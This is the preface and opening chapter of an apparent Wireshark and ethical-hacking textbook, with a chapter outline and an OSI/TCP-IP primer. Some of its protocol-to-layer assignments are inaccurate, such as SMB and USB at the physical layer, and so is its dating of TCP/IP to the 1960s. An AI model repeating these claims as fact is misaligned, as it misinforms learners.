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Preface

 

The cyber world is no less dangerous than the real world. We are all aware of the infamous COVID-19 pandemic that majorly changes the world order, especially in the context of the cyber world. Just as the Coronavirus affects the entire globe, a cyber virus can affect your virtual presence. As we saw, most of the world was operating on the internet. Majority of them were not fully equipped and had less knowledge about security measures. It provided an opportunity for malicious actors to exploit every possible vulnerability they find. It was extremely challenging during the pandemic years to maintain business continuity with utmost security, especially in regard to network security.

Understanding the tough time that security professionals faced and all the challenges that I and my team encountered during the pandemic to protect our network from everyday cyber challenges, inspired me to write a comprehensive yet simple-to-understand guide. This book is suitable for both beginners and professionals to learn some simple yet magical tricks for strengthening network security. It specifically provides tip-o-tricks on the effective use of the network security tool – Wireshark. The best part of this book is that to make learning interesting, and to make concepts and techniques understandable, a lot of examples are used.

Key concepts that you find in this book are:




Chapter 1: Ethical Hacking and Networking Concepts – Provide basics of ethical hacking and networking with a detailed description of the OSI model, TCP/IP model, networking protocols, IP networks and subnets, wireless networking, network traffic, and how Wireshark contributes to the field of ethical hacking and network analysis.




Chapter 2: Getting Acquainted with Wireshark and

Setting Up the Environment – This chapter helps readers get acquainted with Wireshark. This chapter provides details on how to set up the environment and install Wireshark on the computer systems. Also, it will cover Wireshark's core feature, its working, Wireshark user interface, and Wireshark command line tools.




Chapter 3: Getting Started with Packet Sniffing – Covers the concept of packet sniffing, how to perform packet sniffing, how to use Wireshark to capture network traffic and decode it, and learn to use Wireshark's built-in filtering capabilities in order to narrow down your focus even further during your analysis process. Additionally, learn to sniff packets from remote locations, maximizing packet capture performance, and stop sniffing, saving, and exporting packets.




Chapter 4: Sniffing on 802.11 Wireless Networks – This chapter allows the readers to learn the fundamentals of the 802.11 wireless networks and how to perform sniffing on 802.11 wireless networks. Readers will also find in-depth details on WLAN capture setup, the difference between monitor mode and promiscuous mode, 802.11 Sniffer Capture Analysis - WPA/WPA2 with PSK or EAP, 802.11 Sniffer Capture Analysis – Multicast, and 802.11 Sniffer Capture Analysis – Web Authentication.




Chapter 5: Sniffing Sensitive Information, Credentials

and Files – Helps the reader to learn the process of sniffing sensitive information using Wireshark, the different types of packets that can be captured using Wireshark, and extracting sensitive information and credentials from it, the process of sniffing the activity over USB Interfaces, steal Credentials on HTTP, extract images from PCAP file using Wireshark, PDF and ZIP file saving from Wireshark, process of capturing Telnet password and SMTP Password, and identifying hosts and users with Wireshark.




Chapter 6: Analyzing Network Traffic Based on

Protocols – This chapter helps readers learn how to use Wireshark to analyze network traffic based on protocols, what kind of information can be extracted from each protocol, and how exactly we can analyze it. Additionally, it provides thorough information on different networking protocols like IPv4 and IPv6, ARP, ICMP, TCP, UDP, HTTP, FTP, SMTP, DHCPv6, and DNS




Chapter 7: Analyzing and Decrypting SSL/TLS Traffic – This chapter gives special attention to the concepts of SSL/TLS, along with the use of Wireshark to examine SSL/TLS traffic in detail, including the handshake process that occurs between the client and server before an actual connection is established. More specifically, in this chapter reader will find details on SSL/TLS handshake, the process of key exchange, and decrypting SSL/TLS traffic.




Chapter 8: Analyzing Enterprise Applications – Allow the reader to learn about the functioning of the various types of enterprise applications along with how to use Wireshark in order to analyze common applications that are used in an enterprise network, such as Microsoft Terminal Server and Citrix, databases, and Simple Network Management Protocol (SNMP).




Chapter 9: Analysing VoIP Calls Using Wireshark – This chapter will help readers get started with VoIP Traffic Architecture and its supporting protocols. Also, provide details on how to use Wireshark to capture and view VoIP calls, analyze RTP streams in VoIP traffic, and learn to decode the packets in order to understand what's happening during a conversation.




Chapter 10: Analyzing Traffic of IoT Devices – It covers the fundamentals of IoT devices with details on how to use Wireshark for sniffing traffic of IoT devices, analyzing traffic of IoT devices, and detecting sensitive information in IoT device traffic




Chapter 11: Detecting Network Attacks with

Wireshark – It helps readers to develop essential Wireshark skills for quickly detecting suspicious network traffic patterns, DoS and DDoS attacks, port scanning (reconnaissance), brute-force and application attacks, ARP poisoning, session hijacking, honeypot traffic, and heartbleed bug.




Chapter 12: Troubleshooting and Performance

Analysis Using Wireshark – Covers in detail methodology for using Wireshark to diagnose problems with the network, and how to use it in order to find and fix problems. Additionally, it covers the concept of performance analysis methodology and troubleshooting related to connectivity issues, functional issues, TCP protocol issues, and slow application response time.

I hope this book helps you to gain an understanding and skills to become a proficient network security expert and I hope you find this book reliable for your network security journey.

 

– Manish Sharma

Author
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CHAPTER 1

 

Ethical Hacking and

 

Networking Concepts

 

Introduction

Ethical hacking is the practice of testing the security of computer systems and networks by simulating malicious attacks. Ethical hackers use their skills and tools to identify and report vulnerabilities and threats that could be exploited by malicious hackers. It helps to improve the security posture of an organization and protect its data and assets from unauthorized access or damage.

Networking is the process of connecting multiple devices and systems to communicate and share data or resources. Networking involves various components, such as routers, switches, servers, clients, cables, wireless access points, protocols, and standards. It enables various applications and services, such as web browsing, email, file transfer, online gaming, video conferencing, and more.

Together, ethical hacking and networking concepts form the basis for identifying and mitigating security weaknesses in networked systems.

To use Wireshark effectively for ethical hacking and network analysis, it is important to have a strong understanding of networking concepts and protocols, as well as how to interpret the information displayed by Wireshark.

In this chapter, we will explore ethical hacking and networking concepts, the OSI model, and the TCP/IP model to understand how data is transmitted over a network. We will cover the fundamentals of network packets and protocols. This chapter also provides details about the routing and switching operations, as well as design elements.

We will explore how Wireshark contributes to the field of ethical hacking and network traffic analysis.

 

Structure

In this chapter, we will discuss the following topics:

Introduction to ethical hacking

Introduction to networking concepts

The OSI model

The TCP/IP model

Understanding network protocols

IP networks and subnets

Switching and routing packets

WAN links

Wireless networking

What is network traffic

Overview of network packet sniffing

Active and passive sniffing

Wireshark in ethical hacking and traffic analysis

Objectives

This chapter aims to give an introduction to ethical hacking and networking concepts that will help you to use Wireshark for network analysis to identify potential vulnerabilities and weaknesses in a network and to understand how data is being transmitted over the network.

Note: Some readers may find some of the topics discussed to be overly elementary. However, we hope that while you read, you will learn some new and useful ideas. The intention is for all readers to be familiar with these foundations and be able to utilize Wireshark to its full potential.

 

Introduction to ethical hacking

Ethical hacking, also known as white hat hacking, is the practice of using computer programming and networking skills to test and secure computer systems and networks. Ethical hackers are security professionals who use their technical expertise to help organizations identify and fix vulnerabilities in their systems and prevent cyberattacks.

Ethical hacking involves simulating the tactics and techniques that malicious hackers, or black hat hackers, might use to gain unauthorized access to systems and networks. By identifying and addressing these vulnerabilities before they can be exploited by malicious hackers, ethical hackers can help organizations improve their cybersecurity and protect sensitive data.

The goal of ethical hacking is to discover and resolve or patch cybersecurity-related vulnerabilities before they get exploited by malicious black-hat hackers or attackers. By simulating a real-world attack on a system or network, ethical hackers can test the system's defenses and identify any weaknesses that need to be addressed.

Ethical hacking is a significant technique for enterprises wanting to strengthen their cybersecurity posture and defend themselves from cyberattacks. It is a crucial component of a complete security plan that may assist firms in mitigating the risks associated with data breaches, identity theft, and other sorts of cyberattacks.

 

The history of ethical hacking

Ethical hacking or using technical skills to test and improve the security of computer systems and networks, has been around since the early days of computing. However, the term ethical hacking was not widely used until the 1980s, when it was coined by a group of security professionals who wanted to differentiate themselves from malicious hackers or black hat hackers.

In the 1990s, the proliferation of the internet and the rise of cyberattacks led to increased demand for ethical hackers and other security professionals. This trend has continued to the present day, as organizations of all sizes rely on the internet and other technologies to conduct business and store sensitive data.

In recent years, the role of ethical hacking has become increasingly important as the number and sophistication of cyberattacks have grown. Ethical hackers play a crucial role in helping organizations identify and fix vulnerabilities in their systems and networks and providing protection against data breaches and other cyber threats.

 

Importance of ethical hacking

Today, the most valuable asset of any business is its data, so ensuring that the data is safe and secure is the first and foremost priority of any business.

The amount of data generated daily by the government and private firms is enormous. As a result, there is a considerable likelihood that their sensitive data may be targeted by malicious hackers, hackers, or even terrorist groups. The fear of being hacked has compelled organizations to implement preventive security measures to ensure their data is safe and secure.

Regardless of the size of the company, organizations worldwide must take proactive measures like updating security regularly since hackers are constantly seeking new ways to get past firewalls.

Ethical hacking assists the organization in understanding a hacker's approach, which raises their alertness and reduces the likelihood of actual threats such as data theft. Also, once we understand how a hacker acts, we can update our security measures accordingly. All of this gives the organization confidence that the walls built for data security are thick and strong enough.

 

Benefits of ethical hacking

Ethical hacking can offer many benefits to organizations, including:

Improved security posture: By identifying and fixing vulnerabilities    in    their    systems    and    networks, organizations  can  improve  their  overall  security posture and reduce the risk of data breaches and other cyberattacks.

Cost savings: Fixing vulnerabilities before they can be exploited  can  save  organizations  money  by  preventing costly data breaches and other security incidents.

Regulatory  compliance:  Ethical  hacking  can  help organizations  meet  regulatory  requirements  and  avoid fines or other penalties for non-compliance.

Trust    and    confidence:   By    demonstrating    a commitment  to  security  and  proactively  addressing

vulnerabilities,  organizations  can  build  trust  and confidence  with  customers,  employees,  and  other stakeholders.

Competitive advantage: Organizations that prioritize cybersecurity can gain a competitive advantage in their industry  by  differentiating  themselves  as  leaders  in security.

Overall, ethical hacking is a valuable tool for organizations looking to improve their cybersecurity posture and protect against cyberattacks.

 

Introduction to networking concepts

Networking refers to connecting computers or other devices to facilitate communication and share resources. This can be done through a variety of technologies and protocols, such as wired or wireless connections, Local Area Networks (LANs), Wide Area Networks (WANs), Metropolitan Area Networks (MANs) and the Internet.

Networking allows devices to exchange data and access shared resources, such as printers, files, and applications. It also enables communication between devices, such as sending emails or making phone calls. It may be employed in environments, including homes, companies, schools, and government institutions. It is a key technology that has played a significant role in the growth of the Internet and the development of the modern information age.

Without networking, there will be no packets to capture from the box you are currently in front of. We all must agree on how information flows from one device to another, and nothing does that better than working through the OSI model.

 

The OSI model The Open Systems Interconnection (OSI) model is a framework that defines how different components of a computer network should interact to facilitate the exchange of data. The OSI model is a conceptual model developed by the International Organization for Standardization that allows various communication systems to communicate using standard protocols.

The OSI model may be regarded as a universal computer networking language. It is based on the idea of dividing a communication system into seven abstract layers, each one stacked on top of the previous. The model splits data flow in a communication system into seven abstraction layers to describe networked communication from the actual implementation of moving bits across a communications medium to the absolute-level representation of data in a distributed application. Each layer in the OSI model serves a specific function and interacts with the layers above and below it.

 

Importance of OSI model

Although the contemporary Internet does not fully adhere to the OSI model (rather, it adheres to the simplified Internet Protocol suite), the OSI model is nevertheless extremely useful for debugging network issues. Whether it is a single individual who cannot connect their laptop to the Internet or a website that is unavailable to thousands of users, the OSI model can assist in breaking down the problem and pinpointing the root of the issue. A lot of unneeded work may be avoided if the problem can be focused on one single layer of the model.

The OSI model serves many purposes, such as:

Providing a framework for developers to use.

Problem-solving for network administrators.

Interoperability  between  layers  and  communication devices.

Breaking  down  each  layer  to  assist  students  in grasping the entire data encapsulation process.

 

Seven layers of the OSI model

The OSI model consists of seven layers. Each layer performs a certain function and communicates with the layers above

and below it. The following Table 1.1 depicts several elements of the OSI model, such as:

The number that identifies the layer

The name of the layer

An appropriate address for the transport, network, and data link layers

The corresponding PDU

Refer to the following table:

No.   The layer of the OSI Model   Address           PDU

7           Application

6          Presentation                            Data

5            Session

4           Transport             Port     Segment or Datagram

3            Network              IP            Packet

2           Data Link             MAC           Frame

1            Physical                          Bits (1s or 0s)

Table 1.1: Layers of the OSI model, Address, and PDU

The transport, network, and data link layers employ appropriate source and destination addressing during encapsulation:

Transport layer: Uses a Port address

Network layer: Uses an IP address

Data Link layer: Uses a MAC address

At each layer, the data is in a specific format, called Protocol Data Unit (PDU), that describes what shape the data is in when it is sent to the layer above or below and comprises Data, Segment, Packet, Frame, and Bits (1s or 0s). In the context of networking, a PDU typically refers to the data that is transmitted at the lowest level of the networking protocol stack. This includes the data payload, as well as any headers or trailers that are required by the specific protocol. PDUs are used in a variety of networking protocols and are an essential part of how data is transmitted and received over a network.

 

The application layer

The application layer is the highest in the OSI model. It is responsible for providing user services and interfaces to the network. It is the layer that most users interact with directly, and it is responsible for providing access to the network for applications such as email, web browsing, and file transfer.

The main functions of the application layer are:

Providing  user  interfaces  and  services:  The application  layer  provides  access  to  the  network  for applications  such  as  email,  web  browsing,  and  file transfer.  It  is  the  layer  that  most  users  interact  with directly.

Communicating  with  the  lower  layers:  The application  layer  communicates  with  the  lower  layers of the OSI model to ensure that the data is transmitted and received correctly.

Providing  support  for  network  applications:  The application  layer  provides  support  for  various  network applications  such  as  email,  web  browsing,  and  file transfer.  It  is  responsible  for  ensuring  that  these applications can access the network and exchange data with other systems.

Providing security: The application layer can provide security    measures    such    as    encryption    and authentication to protect data as it is transmitted over the network.

Supporting  interoperability:  The  application  layer helps  to  ensure  interoperability  between  different systems  and  applications  by  defining  standard protocols  for  communication.  This  allows  different systems  to  communicate  and  exchange  data  with  each other.

Many protocols operate at the application layer of the OSI model. Each of them serves a specific purpose. Some examples of application layer protocols and their purposes

have been given in the following Table 1.2:

Protocol                           Purpose

 

Hypertext          Used to transmit data over the World Wide Web.

Transfer

Protocol (HTTP)

File Transfer        Used to transfer files between computers over a

Protocol (FTP)      network.

Simple Mail        Used for sending and receiving emails.

Transfer

Protocol (SMTP)

Domain Name Used to translate human-readable domain names into

System (DNS)      IP addresses.

Secure Shell        Used to securely connect to remote computers and

(SSH)             perform tasks such as transferring files and running

commands.

Table 1.2: Application Layer Protocols and Purpose

The PDU for the application layer is data. In many cases, the application layer protocols are involved in a series of client requests and server responses. The header structure will differ depending on the application. Furthermore, the header for the client is often distinct from the header for the server. Most protocols will have a port number that may be discovered in the transport layer header.

Table 1.3 gives the summary of the application layer:

Layer             Purpose               Protocols        PDU

Application      Initiates contact with the     HTTP, FTP, SMTP,        Data

Layer          network                   DNS, SSH

Table 1.3: Application Layer Summary

After leaving the application layer, the data is sent to the presentation layer, where it is correctly formatted. Let us look at this further.

 

The presentation layer

The presentation layer is the sixth layer in the OSI model. It is responsible for the representation of data to be transmitted over a network.

The main functions of the presentation layer are:

Translation: The  presentation  layer  is  responsible  for translating  data  from  the  application  layer  into  a format  that  can  be  transmitted  over  the  network  and for translating the data back into a usable form for the application layer when it is received.

Syntax  and  semantics:  The  presentation  layer  is concerned  with  the  syntax  and  semantics  of  the  data being transmitted rather than the actual content of the

data. It ensures that the data is properly formatted and can be understood by the receiving system.

Encoding and decoding: The presentation layer may also be responsible for encoding and decoding the data as it is transmitted over the network. This may include tasks  such  as  compression,  encryption,  and  error correction.

Data  representation:  The  presentation  layer  is responsible  for  representing  the  data  in  a  standard format that can be understood by both the sending and receiving  systems.  This  allows  different  systems  to communicate  and  exchange  data  with  each  other, regardless  of  the  underlying  hardware  or  software being used.

Interoperability: The  presentation  layer  helps  to ensure  interoperability  between  different  systems  and applications  by  defining  standard  protocols  for  data representation.  This  allows  different  systems  to communicate  and  exchange  data  with  each  other  in  a consistent and standardized way.

Several protocols are used to facilitate the transmission of data over a network. Some examples of presentation layer

protocols and their purposes are given in Table 1.4:

Protocol                           Purpose

 

eXternal Data Representation        XDR is a standard for the

(XDR) description and encoding of data.

Transport Layer Security             Used to provide secure

(TLS)/Secure Socket Layer (SSL)     communication over a network.

Secure/Multipart Internet Mail       Used to provide secure email Extensions (S/MIME)               communication.

Table 1.4: Presentation Layer Protocols and Purpose

The PDU at the presentation layer is still data. Table 1.5 gives the summary of the presentation layer:

Layer                 Purpose               Protocols     PDU

Presentation   Formatting, as well as possible        XDR,            Data

Layer         compression and encryption.          TLS/SSL,

S/MIME

Table 1.5: Presentation Layer Summary

The next layer is the session layer, which contains all of the main features of session management. Let us take a look at this.

 

The session layer

The session layer is the fifth layer in the OSI model. It is responsible for establishing, maintaining, and terminating communication sessions between two devices. It provides a means for two devices to communicate with each other in a structured, organized manner, allowing them to exchange data predictably and reliably.

Some of the specific functions of the session layer include:

Establishing  a  session:  The  session  layer  is responsible  for  establishing  a  communication  session between  two  devices.  This  involves  negotiating  the parameters of the session, such as the type of data that will be exchanged and the protocols that will be used.

Maintaining  a  session:  Once  a  session  has  been established,  the  session  layer  is  responsible  for maintaining  it.  This  involves  ensuring  that  the  session remains  active  and  that  data  is  exchanged  reliably between the two devices.

Terminating  a  session:  When  the  communication session  is  no  longer  needed,  the  session  layer  is responsible  for  terminating  it.  This  involves  releasing

any resources that were being used by the session and closing the connection between the two devices.

Overall, the session layer plays a critical role in allowing two devices to communicate with each other over a network in a structured, reliable way.

In addition to establishing a session, it offers additional services: authentication, authorization, and checkpointing.

Authentication:  The  process  of  validating  and identifying  an  entity  by  requiring  a  password  or  other type of authentication.

Authorization:  This  enables  resource  access  if  the entity has the necessary permissions.

Checkpointing:  This  checks  for  mistakes  and guarantees  that  all  data  has  been  received.  If  a transmission  fault  occurs,  the  session  layer  may  re-request any missing data.

Some protocols are used to facilitate the transmission of data over a network. Some examples of session layer

protocols and their purposes are given in Table 1.6:

Protocol                           Purpose

Remote      Allows a computer program to request a service from a

Procedure program located in another computer on a network without

Call having to understand the details of the network itself. RPC

Protocol       uses a client-server model. (RPC)

Real-time     Used in conjunction with the Real-time Transport

Transport     Protocol (RTP) to provide quality-of-service feedback and

Control       to monitor the performance of an RTP session.

Protocol

(RTCP)

Point-to-       Used to create Virtual Private Networks (VPNs).

Point

Tunnelling

Protocol

(PPTP)

Session       Used to control and manage communication sessions

Control       between two devices.

Protocol

(SCP)

Table 1.6: Session layer protocols and purpose

The PDU at the session layer is still data. Table 1.7 gives the summary of the session layer:

Layer               Purpose                Protocols       PDU

Session      Set up, manage, and break down    RPC, RTCP,         Data

Layer        a session.                          PPTP, SCP

Table 1.7: Session layer summary

The data is next sent to the transport layer, where it forms a segment with the required port addressing in the transport layer header.

 

The transport layer

The transport layer is the fourth layer in the OSI model. It is responsible for the end-to-end delivery of data between systems. It ensures that data is delivered reliably and efficiently by providing error checking, flow control, and other mechanisms to ensure the integrity of the data being transmitted.

The main functions of the transport layer are:

Segmentation  and  reassembly:  The  transport  layer is  responsible  for  dividing  large  blocks  of  data  into smaller  segments,  which  can  be  transmitted  over  the network  more  efficiently.  It  also  reassembles  the segments into their original form when they reach their destination.

Flow  control:  The  transport  layer  is  responsible  for regulating  the  flow  of  data  between  two  devices, ensuring that the data is transmitted at a rate that the receiving device can handle. This helps to prevent data loss  and  ensures  that  the  communication  process  is efficient.

Error  control:  The  transport  layer  is  responsible  for detecting  and  correcting  errors  that  occur  during  the transmission of data. It does this by adding checksums or  other  error-detection  codes  to  the  data,  which  can be  used  to  detect  any  errors  that  occur  during transmission.

Multiplexing:  The  transport  layer  is  responsible  for multiplexing,  which  is  the  process  of  combining multiple  streams  of  data  into  a  single  stream  for transmission  over  the  network.  This  allows  multiple communication  sessions  to  be  established  and maintained  simultaneously  over  a  single  network connection.

Several protocols are used to facilitate the transmission of data over a network. Some examples of transport layer

protocols and their purposes are given in Table 1.8:

Protocol                           Purpose

 

Transmission A connection-oriented protocol that provides reliable

Control Protocol      end-to-end data transmission. (TCP)

User Datagram      A connectionless protocol is used to transmit data

Protocol (UDP)       over a network.

Datagram          Used to transmit real-time data, such as audio and

Congestion          video, over a network.

Control Protocol

(DCCP)

Stream Control       Similar to TCP, it is designed to support multiple

Transmission        streams of data within a single connection. Protocol (SCTP)

Reliable User         Provides TCP-like features, including flow control,

Datagram Protocol   acknowledgments, and retransmission of dropped (RUDP)            packets to extend UDP.

Table 1.8: Transport layer protocols and purpose

A port address, which is used to identify a particular application or process, is added to the transport layer. Port numbers are assigned to specific applications or services and are used to differentiate them from one another. Port numbers are 16-bit unsigned integers, which means they can range from 0 to 65535.

Port numbers fall into three main groups:

Well-known ports: Well-known ports are reserved for specific  services  and  are  assigned  to  them  by  the Internet Assigned Numbers Authority (IANA). They are  typically  used  for  services  that  are  widely  used  on the  Internet,  such  as  HTTP  (port  80),  HTTPS  (port 443),  and  FTP  (port  21).  Well-known  ports  are  in  the range of 1 – 1,023.

Registered  ports: Registered  ports  are  also  assigned by  the  IANA  and  are  reserved  for  specific  services. However,  they  are  not  as  widely  used  as  well-known ports.  They  are  typically  used  for  specialized applications or services that are not as commonly used as  those  that  use  well-known  ports.  Registered  ports are in the range of 1,024 – 49,151.

Dynamic  and/or  private  ports:  Dynamic  and/or private ports are not reserved for specific services and can  be  used  by  any  application  or  service.  They  are typically  used  for  temporary  communication  sessions or for applications that do not require a well-known or registered port. Dynamic ports range between 49,152 – 65,535.

When the transport layer header is applied to the data, a source and destination port are appended. The kind of port used depends on whether the packet originates from the client or the server. When a client transmits a packet, the source port is (in most circumstances) a randomly allocated dynamic port that is utilized so that when the server delivers a packet to the host, it utilizes that port to deliver the data. If a server delivers a packet, the originating port will be either well-known or registered.

The PDU at the transport layer is a segment or datagram, depending upon the protocol used. For TCP, it is a segment, and for UDP, it is a datagram. The PDU comprises of Data with TCP/UDP headers having sender’s and receiver’s TCP/UDP port numbers.

Table 1.9 gives the summary of the transport layer:

Layer        Purpose           Protocols              PDU

Transport     Transports the    TCP, UDP, DCCP,         Segment or

Layer         data             SCTP, RUDP             Datagram

Table 1.9: Transport layer summary

The next layer is the network layer, which provides several important functions that help to ensure the efficient and reliable transmission of data between devices.

 

The network layer

The network layer is the third layer in the OSI model, and it is responsible for the routing and forwarding of data packets between systems. It is concerned with the logical addressing of systems and with the delivery of data packets to their intended destinations.

The main functions of the network layer are:

Routing:  The  network  layer  is  responsible  for  routing data  packets  between  devices  on  a  network.  It

determines the best path for the packets to take based on  factors  such  as  the  distance  to  the  destination,  the available bandwidth, and the network traffic.

Addressing:  The  network  layer  is  responsible  for assigning  unique  addresses  to  devices  on  a  network. These  addresses,  known  as Internet  Protocol (IP) addresses,  are  used  to  identify  the  devices  and  allow them to communicate with each other.

Subnetting:  The  network  layer  is  responsible  for dividing    a    network    into    smaller    subnets    or subnetworks.  This  allows  the  network  to  be  divided into  logical  sections,  which  can  be  managed  and configured separately.

Encapsulation:  The  network  layer  is  responsible  for encapsulating data packets in a specific format, known as a packet header, which includes information such as the  source  and  destination  addresses  and  the  packet's sequence  number.  The  packet  header  is  used  to  route the packet through the network and to its destination.

Many protocols are used to facilitate the transmission of data over a network. Some examples of network layer protocols

and their purposes are as stated in Table 1.10:

Protocol                           Purpose

Internet Protocol Used to route and deliver data packets over a

(IPv4/IPv6)                 network.

Internet Protocol Used to provide secure communication over

Security (IPsec)             an Internet Protocol (IP) network.

Internet Group Used to manage the membership of multicast

Management Protocol      groups on a network. (IGMP)

Internet Control Message   Used to transmit control messages over a Protocol (ICMP)            network.

Table 1.10: Network Layer Protocols and Purpose In this layer, the IP header will hold source and destination addresses in either IPv4 address (has 32 bits) or IPv6 address (has 128 bits) format.

The PDU at the network layer is a packet. It comprises of data with TCP/UDP headers and the Logical addresses or IP addresses of the sender and receiver.

Table 1.11 gives the summary of the network layer:

Layer          Purpose               Protocols           PDU

Network       Addressing,         IPv4/IPv6, IPsec, IGMP,        Packet

layer            routing               ICMP

Table 1.11: Network layer summary

As data is encapsulated and sent down the OSI model, the next stage is the data link layer, where appropriate frame formation is essential so that the frame may travel over the LAN. Let us have a look further.

 

The data link layer

The data link layer is the second layer in the OSI model. It is responsible for the physical transmission of data between systems on a network. It is concerned with the hardware and media used to transmit data and with the mechanisms for establishing and maintaining connections between systems.

Some of the functions of the data link layer are:

Framing:  The  data  link  layer  is  responsible  for dividing  the  data  stream  into  smaller  units,  known  as frames,  which  can  be  transmitted  over  the  network.  It adds  a  header  and  a  trailer  to  each  frame,  which includes  information  such  as  the  source  and destination addresses and error-checking codes.

Media  access  control:  The  data  link  layer  is responsible  for  controlling  access  to  the  physical

media, such as the network cable or wireless spectrum, that is used to transmit the data frames. It ensures that only  one  device  can  transmit  at  a  time,  preventing collisions  and  ensuring  that  the  data  is  transmitted reliably.

Error  detection  and  correction:  The  data  link  layer is  responsible  for  detecting  and  correcting  errors  that occur  during  the  transmission  of  data.  It  does  this  by adding error-checking codes to the data frames, which can  be  used  to  detect  any  errors  that  occur  during transmission.

Flow  control: The  data  link  layer  is  responsible  for regulating  the  flow  of  data  between  two  devices, ensuring that the data is transmitted at a rate that the receiving device can handle. This helps to prevent data loss  and  ensures  that  the  communication  process  is efficient.

Several data link layer protocols are used to facilitate the transmission of data over a network. Some examples of data

link layer protocols and their purposes are given in Table

1.12:

Protocol                           Purpose

Ethernet        Used to transmit data over LANs

Address        Allows devices to translate IP addresses into MAC

Resolution      addresses, which are used to physically deliver data

Protocol        packets over the network to their intended destination. (ARP)

IEEE 802.11    A set of standards for WLANs

Point-to- Used to establish a connection between two devices over a

Point           serial link, such as a telephone line or a leased line.

Protocol

(PPP)

Fiber           Used to transmit data over fiber optic cables.

Distributed

Data

Interface

(FDDI)

Table 1.12: Data Link Layer Protocols and Purpose

The PDU at the data link layer is a frame. Here, PDU comprises of original data with TCP/UDP header, network layer header, and data link Layer header containing Medium Access Control (MAC) addresses or physical addresses of sender and receiver. The trailer is also added to this layer.

On a LAN, the data link layer utilizes the recipient machine's MAC address rather than the IP address. A frame header in the data link layer comprises the source and destination MAC addresses. The trailer, also known as the frame check sequence, contains a value known as a Cyclic Redundancy Check (CRC), which is used for network fault detection.

Table 1.13 gives the summary of the data link layer:

Layer        Purpose               Protocols             PDU

Data Link       Frame          Ethernet, ARP, IEEE 802.11, PPP,   Frame

Layer          formation       FDDI

Table 1.13: Data link layer summary

The data link layer enables appropriate frame generation and link access, as well as error detection when flowing through network media. Data is then transferred to the physical layer.

 

The physical layer

The physical layer is the first layer in the OSI model. It is responsible for the physical transmission of data over a network. It is concerned with the hardware and media used to transmit data and with the electrical, mechanical, and other physical properties of the transmission media.

The main functions of the physical layer include the following:

Physical connection: The physical layer establishes a physical connection between devices. This can be done using  various  types  of  physical  media,  such  as  cables, wireless signals, or infrared beams.

Data  transmission:  The  physical  layer  is  responsible for  transmitting  data  from  one  device  to  another  over the  established  physical  connection.  This  involves encoding  the  data  into  a  form  that  can  be  transmitted over  the  physical  medium  and  ensuring  that  it  is received correctly at the other end.

Signal  formatting:  The  physical  layer  is  responsible for  formatting  the  data  into  a  form  that  can  be transmitted  over  the  physical  medium.  This  involves using techniques such as modulation, multiplexing, and coding to convert the data into a suitable signal.

Data  rate:  The  physical  layer  is  responsible  for controlling  the  data  rate  at  which  data  is  transmitted. This  involves  setting  the  baud  rate  (bits  per  second) and  other  parameters  that  determine  the  speed  at which data is transmitted.

Data  integrity:  The  physical  layer  is  responsible  for ensuring  the  integrity  of  the  data  being  transmitted. This  involves  using  techniques  such  as  error  detection and  correction  to  ensure  that  the  data  is  transmitted without errors.

Several physical layer protocols are used to facilitate the transmission of data over a network. Some examples of

physical layer protocols and their purposes are given in Table

1.14:

Protocol                           Purpose

Digital Subscriber      DSL is a type of broadband Internet technology

Line (DSL)             that uses standard telephone lines to transmit

data.

Server Message        Used for file sharing, printer sharing, and other

Block (SMB)          network services on a LAN.

Universal Serial Bus Used to connect devices such as keyboards, mice,

(USB) printers, and external hard drives to a computer.

Integrated Services Allows for the transmission of voice and data over

Digital Network        standard telephone lines. (ISDN)

Table 1.14: Physical layer protocols and purpose

Binary transmission across network media occurs at the physical layer. At this layer, the PDU is in its most basic form, which is bits.

Table 1.15 gives the summary of the physical layer:

Layer           Purpose            Protocols        PDU

Physical Layer    Binary transmission    DSL, SMB, USB, ISDN   Bits

Table 1.15: Physical layer summary

 

Example of data flow in the OSI model

Suppose a user on one device wants to send an email to

another device, the example is illustrated in Figure 1.1:




[image: ]

Figure 1.1: Data flow in the OSI model

The email application on the first device sends the message to the application layer. The presentation layer formats the data into a form that can be understood by the applications at either end of the connection. It may also apply encryption to the data to protect it during transmission.

The session layer establishes a connection between the email application on the first device and the email application on the second device. It maintains this connection throughout the transmission of the email.

The transport layer is responsible for ensuring that the data is delivered reliably and in the correct order. It adds a TCP header to the data that includes information such as a sequence number to help with error detection and correction.

The network layer is responsible for routing the data across the network. It adds IP header to the data. It determines the best path for the data to travel based on the destination address and sends it on its way.

The data link layer is responsible for providing a reliable link between devices. It ensures that the data is transmitted without errors and can be received correctly at the other end. It adds an Ethernet header to the data that includes the Logical Link Control (LLC) and Media Access Control (MAC) addresses of the sending and receiving devices.

The physical layer is responsible for transmitting the data over the physical connection. It encodes the data into a form that can be transmitted over the physical medium and sends it on its way.

When the data reaches the destination device, it is passed up through the layers of the OSI model in reverse order, with each layer stripping off its header information until the original data is revealed at the top layer. The email application on the second device receives the message and displays it to the user. This process ensures that data can be transmitted reliably and efficiently between devices.

 

The TCP/IP model

The OSI model that we just saw is only a reference/logical model. It was created to define the operations of the communication system by breaking down the communication process into smaller, simpler components. However, the TCP/IP model was created and developed by the Department of Defense (DoD) in the 1960s and is based on standard protocols. It takes its name from two of its protocols, the Transmission Control Protocol (TCP) and the Internet Protocol (IP). The following table provides a five-layer representation of the TCP/IP model.

 

Five layers of the TCP/IP model

Unlike the OSI model, which has seven levels, the TCP/IP model has five different layers. By utilizing a five-layer model, the lower four layers are numbered identically to the lower four layers of the OSI model; it has been shown in the

following Table 1.16:

No.    The layer of      The layer of         Protocols         PDU

the OSI        the TCP/IP

model          Model

Application

HTTP, FTP, TFTP,

5     Presentation       Application        SNMP, SMTP,      Message

SSH

Session

4      Transport       Host to Host /         TCP, UDP        Segment

Transport

3      Network        Internet /       IPv4/IPv6, IPsec,     Packets

Network       ICMP, IGMP, ARP

2      Data Link         Network         Ethernet, PPP,       Frame

Interface           Frame Relay

1      Physical         Hardware /        Wi-Fi, RS-232,       Signals

Physical         Bluetooth, IEEE

802.3

Table 1.16: Layers of the OSI model and TCP IP model

 

The application layer

The top three layers of the OSI model: application, presentation, and session, when combined, they perform similar functions as the application layer of the TCP/IP model.

The application layer is the highest layer of the TCP/IP model that deals with networking. It is the layer at which applications such as web browsers and email clients communicate with the network. It allows these applications to access the services provided by the lower layers of the model, such as reliable data transfer and routing.

It includes the protocols and technologies used to support specific applications, such as Hypertext Transfer Protocol (HTTP) and File Transfer Protocol (FTP).

The protocols and technologies used at this layer are designed to support a wide variety of applications, including web browsing, email, file transfer, and remote login. These protocols and technologies are designed to be flexible and extensible, allowing them to be easily adapted to support new applications as they are developed.

